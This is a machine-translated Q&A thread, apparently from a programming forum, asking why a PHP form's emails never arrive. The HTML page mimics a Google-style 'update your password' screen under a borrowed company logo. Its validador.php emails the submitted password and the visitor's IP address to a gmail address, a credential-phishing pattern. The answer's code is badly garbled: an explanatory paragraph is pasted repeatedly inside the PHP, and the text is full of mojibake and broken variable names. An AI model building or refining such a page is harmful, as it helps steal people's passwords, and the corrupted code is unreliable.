Посылать пароль из-за метода POST в формуляре PHP

У меня есть поле, чтобы посылать новый пароль на почту предприятия, этот пароль послан методом POST нажимая на один input тип submit.

Потом происходи из-за validador.php что берется за то, чтобы посылать данные, и если он правилен, он пересылает в exitoso.html

Эти шаги функционируют, но никогда не прибывает почта, есть что-то, что вредило бы?

body {
  display: flex;
  min-height: 100vh;
  flex-direction: column;
}

main {
  flex: 1 0 auto;
}

.gbox {
  height: auto;
  min-height: 380px;
  width: 450px;
  flex-shrink: 0;
  border: 1px solid #dadce0;
  -webkit-border-radius: 8px;
  border-radius: 8px;
  display: block;
  margin: 0 auto;
  max-width: 100%;
}

.intbox {
  width: 350px;
  margin-top: 3rem;
}

.logo {
  height: 37px;
  margin: 0 auto;
  overflow: visible;
  position: relative;
  width: 10rem;
}

.h-one {
  color: #202124;
  padding-bottom: 0;
  padding-top: 16px;
  font-size: 24px;
  font-weight: 400;
  line-height: 1.3333;
  margin-bottom: 0;
  margin-top: 0;
}

.prrf {
  font-size: 14px;
  text-align: left;
  color: #555;
}

.anchor {
  color: #1a73e8;
  font-weight: 700;
  margin: 10px 0;
  padding: 0!important;
}

.botn {
  background: #1a73e8;
  color: #fff;
  font-weight: 700;
  padding: 10px;
  -webkit-border-radius: 4px;
  border-radius: 4px;
}

.r6s {
  min-height: 5rem;
}

.page-footer {
  margin: 25px 10px;
  color: #555;
  background: #fff;
}

.down {
  vertical-align: text-top;
  margin-right: 0;
}

button,
html [type="button"],
[type="reset"],
[type="submit"] {
  -webkit-appearance: inherit;
}

button {
  background-color: transparent;
  box-sizing: border-box;
  padding: 0;
  border-width: 0;
  border-style: none;
  border-color: transparent;
  border-image: none;
  font-family: inherit;
  overflow: hidden;
  font: inherit;
}
<!DOCTYPE html>
<html lang="es">

<head>
  <meta charset="UTF-8">
  <title>Solicitud actualizacion de contraseña</title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel='shortcut icon' type='image/x-icon' href='favicon.ico'>


  <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css'>

</head>


<body>
  <div class="container center-align gbox">
    <div class="row intbox">
      <form class="col s12" method="post" action="validador.php">

        <div class="logo"><img src="https://www.fusio.net/app/uploads/2017/09/fundit-logo.png" height=50px></div>
        <h1 class="h-one">Actualización clave</h1>
        <p class="prrf">lorem ipsum dolor sit amet</p>
        <div class="input-field col s12">
          <input type="password" class="validate" name="clave">
          <label for="clave">Ingrese la nueva clave</label>
        </div>
        <div class="r6s"><br>
          <p>&nbsp</p>
        </div>
        <div class="row">
          <div class="col s8 anchor"><span>&nbsp</span></div>
          <div class="col s4"><input type="submit" name="Submit" value="Enviar" class="botn"></div>
        </div>
      </form>

    </div>

  </div>


  <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js'></script>
  <script src='https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js'></script>



</body>

</html>

И этот тот validador.php

<?php
if(isset($_POST['clave'])) {

    $email_to = "correo@gmail.com";
    $email_subject = "Solicitud cambio de clave";     
     
    $clave = $_POST['clave'];    
          
    $email_message = "Message:\n\n";
     
    function clean_string($string) { 
      $bad = array("content-type","bcc:","to:","cc:","href"); 
      return str_replace($bad,"",$string);
    }

	function getUserIpAddr()
	{
    	if (!empty($_SERVER['HTTP_CLIENT_IP']))
	    {
        	return $_SERVER['HTTP_CLIENT_IP'];
    	}
    	else if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
    	{
        	return $_SERVER['HTTP_X_FORWARDED_FOR'];
    	}
    	else
    	{
        	return $_SERVER['REMOTE_ADDR'];
    	}
	}    

    $email_message .= "IP address: ".getUserIpAddr()."\n";    
    
    $email_message .= "Nueva clave: ".clean_string($clave)."\n";
    
 
	$headers = "MIME-Version: 1.0" . "\r\n";
	$headers .= "Content-type:text/plain;charset=UTF-8" . "\r\n";
	$headers .= 'From: '.$clave. "\r\n";

	if (@mail($email_to, $email_subject, $email_message, $headers)) {
		header('Location: exitoso.html');
	} else {
		header('Location: error.html');
	}
} 
?>
2
задан 19.03.2019, 12:00
1 ответ

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

<?php
    $clave =  empty(

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]POST['clave']) ? NULL :

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]POST['clave']; if($clave) { $email_to = "correo@gmail.com"; $email_subject = "Solicitud cambio de clave"; $email_message = "Message:\n\n"; $email_message .= "IP address: ".getUserIpAddr()."\n"; $email_message .= "Nueva clave: ".clean_string($clave)."\n"; $headers = "MIME-Version: 1.0" . "\r\n"; $headers .= "Content-type:text/plain;charset=UTF-8" . "\r\n"; $headers .= 'From: '.$clave. "\r\n"; $url= mail($email_to, $email_subject, $email_message, $headers) ? "exitoso.html" : "error.html"; } else { $url="error.html"; } header("Location: $url"); #------------------------------------------------------------ #Las funciones deben estar aparte function clean_string($string) { $bad = array("content-type","bcc:","to:","cc:","href"); return str_replace($bad,"",$string); } function getUserIpAddr() { if (!empty(

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]SERVER['HTTP_CLIENT_IP'])) { return

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]SERVER['HTTP_CLIENT_IP']; } else if (!empty(

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]SERVER['HTTP_X_FORWARDED_FOR'])) { return

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]SERVER['HTTP_X_FORWARDED_FOR']; } else { return

Ты cГіdigo estГЎ немного бессмысленный, у тебя две функции есть внутри if Вї?

это Пробует, имея в виду, что функции должны быть независимыми от блока if. AdemГЎs я оптимизировал немного, оценивая стоимость posteado для ключа с тройным и используя переменную $url, чтобы делать ее redirecciГіn.

, Если он пересылает тебя в ошибку, ты должен отлаживать переменные, если ты не получаешь почту, должен проверять папку spam. Если ничего нет, попробуй проверять log ошибок и проверь с phpinfo(), если она funciГіn для электронной почты estГЎ прокручивая изображение в окне правильно.

[110]SERVER['REMOTE_ADDR']; } } ?>
2
ответ дан 02.12.2019, 05:28
  • 1
    Спасибо за Ваше верховое время, к несчастью меня усыновляет ошибка " HTTP ОШИБКА 500" despué s того, чтобы выходить ему на botó n submit. В Chrome покажи сообщение " pá gina misitio.com не моги обрабатывать этот запрос ahora". – ConceptDev 18.03.2019, 23:44
  • 2
    @ConceptDev хорошо, хорошо. Я cometí ошибка в тройном, что evalú в результате funció n mail, - mí nima вещь, помести это así: $url= mail($email_to, $email_subject, $email_message, $headers) ? "exitoso.html" : "error.html"; Сейчас издал ответ. – A. Cedano 18.03.2019, 23:50
  • 3
    Спасибо снова в течение Вашего ценного дружелюбного времени, но останься, не функционируя. ¿ Скорее всего, если я это выдвигаю по-другому? Só я это нуждаюсь посылать contraseñ за mé весь POST на почту, я думаю, что с AJAX он má s я отрезаю процесс, но не знаю процесс. – ConceptDev 19.03.2019, 16:15
  • 4
    @ConceptDev с Аяксом возможно, что он намного лучше, но не, потому что он был má s я отрезаю или нет. Аякс serí в лучше, если ты хочешь обновить informació n в pá gina однажды была послана электронная почта. Но это не проблема aquí если có я не говорю, что настоящий оно не функционирует сейчас, также funcionará потому что ты использовал Аякс. Вещь, которую ты не сказал,, - если ты отложил переменные. Ты можешь делать например один var_dump(@ConceptDev с Аяксом возможно, что он намного лучше, но не, потому что он был má s я отрезаю или нет. Аякс serí в лучше, если ты хочешь обновить informació n в pá gina однажды была послана электронная почта. Но это не проблема aquí если có я не говорю, что настоящий оно не функционирует сейчас, также funcionará потому что ты использовал Аякс. Вещь, которую ты не сказал,, - если ты отложил переменные. Ты можешь делать например один [110], чтобы видеть то, что está получая действительно. Нужен заставлять функционировать có я говорю и потом, когда я буду функционировать, ты можешь ставить solució n основанная на Аяксе.POST);, чтобы видеть то, что está получая действительно. Нужен заставлять функционировать có я говорю и потом, когда я буду функционировать, ты можешь ставить solució n основанная на Аяксе. – A. Cedano 19.03.2019, 18:29
  • 5
    Большое спасибо из-за Вашего ответа, я буду считать все Ваши любезные подсказки и вернусь, если я нахожусь перед другой проблемой – ConceptDev 19.03.2019, 20:20

Теги

Похожие вопросы